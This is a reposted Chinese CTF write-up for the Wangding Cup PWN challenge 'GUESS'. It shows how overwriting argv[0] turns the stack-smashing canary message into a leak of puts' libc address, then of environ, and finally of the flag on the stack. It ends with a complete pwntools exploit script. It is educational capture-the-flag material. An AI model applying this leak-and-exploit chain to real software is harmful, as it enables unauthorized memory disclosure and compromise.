欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PWN 网鼎杯 GUESS

程序员文章站 2022-03-10 09:17:24
...

拖了好久才看题,中间去参加比赛去了,休息够了开始学习啦!

GUESS 在checksec查看后,发现开了canary 和 NX保护,所以可以用 stack smash 来做这个题

PWN 网鼎杯 GUESS

ida打开,查看一下源代码:

PWN 网鼎杯 GUESS

PWN 网鼎杯 GUESS

发现程序自己把读取flag到了栈中,所以思路就是:

1.通过覆盖argv[0]先泄露puts的地址

2.通过泄漏的puts的地址,计算出基地址然后泄漏出environ的地址(也就是栈的地址),为什么泄漏environ:https://www.jianshu.com/p/cc9d09a3f65f 有详细的解释

3.找到flag和environ的偏移(就是找到flag在栈上的位置)


确定argv[0]的地址:

方法一:在main函数处下断,运行停止后指向程序名的就是argv[0]的地址

PWN 网鼎杯 GUESS

方法二:print & __libc_argv[0],可直接获得argv[0]的地址

PWN 网鼎杯 GUESS

可得argv[0]的地址为0x7fffffffe198

确定要可控字符串与argv[0]之间的距离:

程序通过gets函数获得我们输入的字符串,所以在get函数处下断,运行至断点处,发现gets将获得的字符串储存在距离rbp 0x40 的地方,print $rbp,然后用rbp的地址减掉0x40 (0x7fffffffe0b0-0x40=0x7FFFFFFFE070 )就是可控字符串的位置。

PWN 网鼎杯 GUESS

0x7fffffffe198-0x7FFFFFFFE070=0x128(296)

确定flag在栈上的位置:

 PWN 网鼎杯 GUESS

flag和栈地址之间的距离  0x7fffffffe1a8-0x7fffffffe040=0x168(360)

脚本如下:

from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF("./GUESS")
sh = process('./GUESS')

print ('[+]  leak puts address')
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
payload = 'a'* 296 + p64(puts_got)
sh.recvuntil('Please type your guessing flag')
sh.sendline(payload)
sh.recvuntil('*** stack smashing detected ***: ')
sh.recv()
puts_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00')
print "puts_addr:"+hex(puts_addr)

print('[+]  find environ address')
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr-libc.dump('puts')
environ_addr = libc_base + libc.dump('_environ')
print "environ_address:"+hex(environ_addr)


print ('[+] leak stack address')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(environ_addr) 
sh.sendline(payload)
#sh.recvuntil('*** stack smashing detected ***:')
sh.recv()
stack_addr = u64(sh.recvuntil(' ')[:-1]+'\x00\x00') 
print "stack_addr:"+hex(stack_addr)

print('[+] leak flag')
sh.recvuntil('Please type your guessing flag')
payload = 'a'*296 + p64(stack_addr-0x168)
sh.sendline(payload)
sh.interactive()